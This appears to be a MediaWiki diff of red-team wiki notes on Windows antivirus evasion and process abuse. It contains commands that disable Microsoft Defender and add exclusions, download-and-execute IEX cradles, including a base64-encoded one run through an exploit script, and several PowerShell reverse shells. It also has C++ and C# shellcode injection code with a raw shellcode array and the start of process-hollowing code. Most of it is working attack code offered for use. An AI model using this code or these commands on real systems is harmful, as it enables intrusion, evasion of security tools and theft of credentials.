Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')" | Invoke-Expression "IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Disable MS Defender (Require elevation) === | === Disable MS Defender (Require elevation) === | ||
Turning off Windows Defender: | Turning off Windows Defender: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 433: | Line 309: | ||
Set-MPPreference -DisableIntrusionPreventionSystem $true | Set-MPPreference -DisableIntrusionPreventionSystem $true | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Add folder exclusion === | === Add folder exclusion === | ||
Adding a folder exclusion <code>Add-MpPreference -ExclusionPath "C:\temp"</code> | Adding a folder exclusion <code>Add-MpPreference -ExclusionPath "C:\temp"</code> | ||
Checking exclusions | Checking exclusions | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
Get-MpPreference | Select-Object -Property ExclusionPath | Get-MpPreference | Select-Object -Property ExclusionPath | ||
ExclusionPath | ExclusionPath | ||
------------- | ------------- | ||
{C:\temp} | {C:\temp} | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== LSASS dumping without triggering Defender === | === LSASS dumping without triggering Defender === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 469: | Line 338: | ||
$F.Close() | $F.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Reverse Shells === | === Reverse Shells === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 493: | Line 360: | ||
$replace.Flush()}; | $replace.Flush()}; | ||
$BT.Close() | $BT.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 516: | Line 380: | ||
$SS.Flush()}; | $SS.Flush()}; | ||
$J.Close() | $J.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt) | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 538: | Line 399: | ||
$I.Flush()}; | $I.Flush()}; | ||
$c.Close() | $c.Close() | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt) | Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt) | ||
Reverse PowerShell: | Reverse PowerShell: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 567: | Line 424: | ||
}While ($true); | }While ($true); | ||
$writer.close();$socket.close(); | $writer.close();$socket.close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Execute assembly in memory === | === Execute assembly in memory === | ||
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method: | WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 583: | Line 436: | ||
$main = [Shell].getmethod("Main", $BindingFlags) | $main = [Shell].getmethod("Main", $BindingFlags) | ||
$main.Invoke($null, $null) | $main.Invoke($null, $null) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Tools that may help with AV Evasion: | Tools that may help with AV Evasion: | ||
* [https://github.com/phra/PEzor https://github.com/phra/PEzor] | * [https://github.com/phra/PEzor https://github.com/phra/PEzor] | ||
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour] | * [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour] | ||
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion] | * [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion] | ||
== Text Encoding Technique for Bypassing Detection and Remote Command Execution == | == Text Encoding Technique for Bypassing Detection and Remote Command Execution == | ||
<code>cat rev.ps1</code> | <code>cat rev.ps1</code> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 624: | Line 469: | ||
}While ($true); | }While ($true); | ||
$writer.close();$socket.close(); | $writer.close();$socket.close(); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0 | echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA== | aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA== | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==' | ./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 648: | Line 487: | ||
Serving HTTP on 0.0.0.0 port 80 ... | Serving HTTP on 0.0.0.0 port 80 ... | ||
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 - | 10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 - | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 658: | Line 495: | ||
PS C:\Windows\System32> | PS C:\Windows\System32> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Go Binaries Obfuscation for Defender Bypass == | == Go Binaries Obfuscation for Defender Bypass == | ||
[[File:2023-06-image-21.png|thumb]] | [[File:2023-06-image-21.png|thumb]] | ||
[https://twitter.com/snovvcrash/status/1540395267064741890?lang=en T][https://twitter.com/snovvcrash/status/1540395267064741890?lang=en witter source] | [https://twitter.com/snovvcrash/status/1540395267064741890?lang=en T][https://twitter.com/snovvcrash/status/1540395267064741890?lang=en witter source] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Example | # Example | ||
go install mvdan.cc/garble@latest | go install mvdan.cc/garble@latest | ||
git clone https://github.com/jpillora/chisel.git | git clone https://github.com/jpillora/chisel.git | ||
| Line 677: | Line 509: | ||
garble -tiny -literals -seed=random build main.go | garble -tiny -literals -seed=random build main.go | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities == | == Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities == | ||
[[File:2023-06-image-22.png|thumb]] | [[File:2023-06-image-22.png|thumb]] | ||
---- | ---- | ||
= Windows API = | = Windows API = | ||
== What is Windows API? == | == What is Windows API? == | ||
> | > | ||
The Windows API provides native functionality to interact with key components of the Windows operating system. | The Windows API provides native functionality to interact with key components of the Windows operating system. | ||
== Windows API Components == | == Windows API Components == | ||
=== Win32 API Top down list === | === Win32 API Top down list === | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 730: | Line 553: | ||
| The parameter values that are defined by the call structures. | | The parameter values that are defined by the call structures. | ||
|} | |} | ||
=== Common Windows API's === | === Common Windows API's === | ||
Below is a list of some common Windows API's | Below is a list of some common Windows API's | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 818: | Line 638: | ||
| Provides utility functions for string manipulation, file and path operations, URL handling, and registry access. | | Provides utility functions for string manipulation, file and path operations, URL handling, and registry access. | ||
|} | |} | ||
== Operating System Libraries == | == Operating System Libraries == | ||
Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of '''ASLR''' ('''A'''ddress '''S'''pace '''L'''ayout '''R'''andomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: '''[https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke P/Invoke]''' and the '''[https://docs.microsoft.com/en-us/windows/win32/winprog/using-the-windows-headers Windows header file]'''. | Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of '''ASLR''' ('''A'''ddress '''S'''pace '''L'''ayout '''R'''andomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: '''[https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke P/Invoke]''' and the '''[https://docs.microsoft.com/en-us/windows/win32/winprog/using-the-windows-headers Windows header file]'''. | ||
=== Windows Header File: === | === Windows Header File: === | ||
The Windows header file (windows.h) provided by Microsoft is a solution to overcome '''ASLR '''(Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call '''Win32 '''functions. It takes care of obtaining function addresses or pointers for us. | The Windows header file (windows.h) provided by Microsoft is a solution to overcome '''ASLR '''(Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call '''Win32 '''functions. It takes care of obtaining function addresses or pointers for us. | ||
Example: | Example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
#include | #include | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== P/Invoke: === | === P/Invoke: === | ||
P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call. | P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call. | ||
Example: | Example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
public class Program | public class Program | ||
{ | { | ||
| Line 858: | Line 667: | ||
... | ... | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
In the above code, we import the user32 DLL using the attribute <code>[DllImport]</code>. | In the above code, we import the user32 DLL using the attribute <code>[DllImport]</code>. | ||
Note: The function declaration is not complete yet; we need to define it externally. The <code>extern</code> keyword informs the runtime about the DLL we imported. Here's an example of creating the external method: | Note: The function declaration is not complete yet; we need to define it externally. The <code>extern</code> keyword informs the runtime about the DLL we imported. Here's an example of creating the external method: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
public class Program | public class Program | ||
{ | { | ||
| Line 877: | Line 681: | ||
private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType); | private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType); | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Now, we can invoke the function <code>MessageBox</code> as a managed method, even though it's an unmanaged function from the Win32 API. | Now, we can invoke the function <code>MessageBox</code> as a managed method, even though it's an unmanaged function from the Win32 API. | ||
== API Call Structure == | == API Call Structure == | ||
Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page. | Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page. | ||
<code>WriteProcessMemory</code> API call as an example: | <code>WriteProcessMemory</code> API call as an example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); | BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== C API Implementation == | == C API Implementation == | ||
The <code>windows.h</code> header file is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program. | The <code>windows.h</code> header file is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
#include | #include | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using <code>CreateWindowExA</code>. | Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using <code>CreateWindowExA</code>. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 928: | Line 721: | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to <code>CreateWindowsExA</code>. | Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to <code>CreateWindowsExA</code>. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 946: | Line 737: | ||
); | ); | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Commonly Abused API Calls == | == Commonly Abused API Calls == | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 983: | Line 772: | ||
| Changes the protection on a region of memory in the virtual address space of the calling process | | Changes the protection on a region of memory in the virtual address space of the calling process | ||
|} | |} | ||
---- | ---- | ||
= Abusing Windows Internals = | = Abusing Windows Internals = | ||
The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM ('''C'''omponent '''O'''bject '''M'''odel), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs ('''D'''ynamic '''L'''ink '''L'''ibraries), and the PE ('''P'''ortable '''E'''xecutable) format. | The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM ('''C'''omponent '''O'''bject '''M'''odel), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs ('''D'''ynamic '''L'''ink '''L'''ibraries), and the PE ('''P'''ortable '''E'''xecutable) format. | ||
== Injection types == | == Injection types == | ||
{| class="wikitable" | {| class="wikitable" | ||
| Line 1,014: | Line 798: | ||
| Self-inject a PE image pointing to a malicious function into a target process | | Self-inject a PE image pointing to a malicious function into a target process | ||
|} | |} | ||
== Process Injection (Shellcode injection) == | == Process Injection (Shellcode injection) == | ||
Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data. | Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data. | ||
A process houses an application and has its own memory space, while threads execute application code within a process. | A process houses an application and has its own memory space, while threads execute application code within a process. | ||
Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread. | Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread. | ||
Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level. | Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level. | ||
We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process. | We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process. | ||
For remote thread creation, we use CreateRemoteThread API. | For remote thread creation, we use CreateRemoteThread API. | ||
At a high level, shellcode injection can be broken up into four steps: | At a high level, shellcode injection can be broken up into four steps: | ||
* Open a target process with all access rights. | * Open a target process with all access rights. | ||
* Allocate target process memory for the shellcode. | * Allocate target process memory for the shellcode. | ||
* Write shellcode to allocated memory in the target process. | * Write shellcode to allocated memory in the target process. | ||
* Execute the shellcode using a remote thread. | * Execute the shellcode using a remote thread. | ||
* Open a target process with all access rights: | * Open a target process with all access rights: | ||
* Identify the target process you want to inject the shellcode into. Let's assume the target process is named "target.exe". | * Identify the target process you want to inject the shellcode into. Let's assume the target process is named "target.exe". | ||
* Use a function like OpenProcess() to open the target process with the necessary access rights. | * Use a function like OpenProcess() to open the target process with the necessary access rights. | ||
For example: | For example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,068: | Line 836: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Allocate target process memory for the shellcode: | * Allocate target process memory for the shellcode: | ||
* Determine the size of the shellcode you want to inject. | * Determine the size of the shellcode you want to inject. | ||
* Use a function like VirtualAllocEx() to allocate memory within the target process. | * Use a function like VirtualAllocEx() to allocate memory within the target process. | ||
For example: | For example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,086: | Line 850: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Write shellcode to allocated memory in the target process: | * Write shellcode to allocated memory in the target process: | ||
* Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory(). | * Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory(). | ||
For example: | For example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,100: | Line 861: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Execute the shellcode using a remote thread: | * Execute the shellcode using a remote thread: | ||
* Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written. | * Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written. | ||
* Use a function like CreateRemoteThread() to create the remote thread. | * Use a function like CreateRemoteThread() to create the remote thread. | ||
For example: | For example: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
| Line 1,118: | Line 875: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup. | The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup. | ||
=== c++ example of shellcode injection into the "notepad.exe" === | === c++ example of shellcode injection into the "notepad.exe" === | ||
Example of shellcode injection into the "notepad.exe" process using C++ and the Windows API: | Example of shellcode injection into the "notepad.exe" process using C++ and the Windows API: | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
#include | #include | ||
#include | #include | ||
// The shellcode to be injected (example: display a message box) | // The shellcode to be injected (example: display a message box) | ||
unsigned char shellcode[] = | unsigned char shellcode[] = | ||
| Line 1,153: | Line 905: | ||
"\x51" // push ecx | "\x51" // push ecx | ||
"\xff\xd0"; // call eax | "\xff\xd0"; // call eax | ||
int main() { | int main() { | ||
// Open the target process (notepad.exe) | // Open the target process (notepad.exe) | ||
| Line 1,165: | Line 916: | ||
return 1; | return 1; | ||
} | } | ||
// Allocate memory in the target process | // Allocate memory in the target process | ||
LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); | ||
| Line 1,173: | Line 923: | ||
return 1; | return 1; | ||
} | } | ||
// Write the shellcode to the allocated memory | // Write the shellcode to the allocated memory | ||
if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) { | if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) { | ||
| Line 1,181: | Line 930: | ||
return 1; | return 1; | ||
} | } | ||
// Execute the shellcode in the target process by creating a remote thread | // Execute the shellcode in the target process by creating a remote thread | ||
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL); | HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL); | ||
| Line 1,190: | Line 938: | ||
return 1; | return 1; | ||
} | } | ||
// Wait for the remote thread to finish | // Wait for the remote thread to finish | ||
WaitForSingleObject(hThread, INFINITE); | WaitForSingleObject(hThread, INFINITE); | ||
// Cleanup | // Cleanup | ||
CloseHandle(hThread); | CloseHandle(hThread); | ||
VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); | VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); | ||
CloseHandle(hProcess); | CloseHandle(hProcess); | ||
std::cout << "Shellcode injected successfully!" << std::endl; | std::cout << "Shellcode injected successfully!" << std::endl; | ||
} else { | } else { | ||
| Line 1,204: | Line 949: | ||
return 1; | return 1; | ||
} | } | ||
return 0; | return 0; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Please note that this example assumes that the "notepad.exe" process is already running and has an untitled notepad window open. If you're testing this on your system, make sure to open Notepad and keep it untitled before running the code. | Please note that this example assumes that the "notepad.exe" process is already running and has an untitled notepad window open. If you're testing this on your system, make sure to open Notepad and keep it untitled before running the code. | ||
The provided shellcode in this example displays a message box with the title "notepad" and the message "cmd.exe". You can modify the shellcode to execute different actions or payloads based on your requirements. | The provided shellcode in this example displays a message box with the title "notepad" and the message "cmd.exe". You can modify the shellcode to execute different actions or payloads based on your requirements. | ||
=== C# example === | === C# example === | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 1,224: | Line 963: | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace Inject | namespace Inject | ||
{ | { | ||
| Line 1,230: | Line 968: | ||
{ | { | ||
// Import necessary functions from kernel32.dll | // Import necessary functions from kernel32.dll | ||
// Opens an existing local process object | // Opens an existing local process object | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | ||
// Reserves or commits a region of memory within the virtual address space of a specified process | // Reserves or commits a region of memory within the virtual address space of a specified process | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
// Writes data to an area of memory in a specified process | // Writes data to an area of memory in a specified process | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | ||
// Creates a thread that runs in the virtual address space of another process | // Creates a thread that runs in the virtual address space of another process | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 1,256: | Line 989: | ||
return; | return; | ||
} | } | ||
int targetProcessId = localByName[0].Id; | int targetProcessId = localByName[0].Id; | ||
// Obtain a handle to the target process | // Obtain a handle to the target process | ||
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId); | IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId); | ||
// Allocate memory in the target process's address space | // Allocate memory in the target process's address space | ||
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40); | ||
// Define the shellcode bytes to inject | // Define the shellcode bytes to inject | ||
byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, | byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, | ||
| Line 1,310: | Line 1,039: | ||
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 | 0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 | ||
}; | }; | ||
// Write the shellcode to the allocated memory in the target process | // Write the shellcode to the allocated memory in the target process | ||
IntPtr outSize; | IntPtr outSize; | ||
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); | WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize); | ||
// Create a remote thread in the target process to execute the shellcode | // Create a remote thread in the target process to execute the shellcode | ||
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | ||
| Line 1,322: | Line 1,049: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Process Hollowing == | == Process Hollowing == | ||
This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE ('''P'''ortable '''E'''xecutable) data and sections into the process. | This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE ('''P'''ortable '''E'''xecutable) data and sections into the process. | ||
The code below performs the following steps: | The code below performs the following steps: | ||
* It creates a new process (in this case, Notepad) in a suspended state. | * It creates a new process (in this case, Notepad) in a suspended state. | ||
* It opens a malicious executable file. | * It opens a malicious executable file. | ||
* It reads the headers of the malicious file to understand its structure. | * It reads the headers of the malicious file to understand its structure. | ||
* It unmaps the legitimate code from the process memory. | * It unmaps the legitimate code from the process memory. | ||
* It maps sections of the malicious file into the process memory. | * It maps sections of the malicious file into the process memory. | ||
* It sets the entry point of the process to the malicious code. | * It sets the entry point of the process to the malicious code. | ||
* Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process. | * Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process. | ||
Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities. | Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities. | ||
<syntaxhighlight lang="cpp"> | <syntaxhighlight lang="cpp"> | ||
#include | #include | ||
#include | #include | ||
// Function to read the headers of the malicious image | // Function to read the headers of the malicious image | ||
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) { | bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) { | ||
| Line 1,368: | Line 1,082: | ||
if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER)) | if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER)) | ||
return false; | return false; | ||
// Verify the DOS signature | // Verify the DOS signature | ||
if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) | if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) | ||
return false; | return false; | ||
// Allocate memory for the DOS header and copy the data | // Allocate memory for the DOS header and copy the data | ||
*ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER)); | *ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER)); | ||
| Line 1,378: | Line 1,090: | ||
return false; | return false; | ||
memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER)); | memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER)); | ||
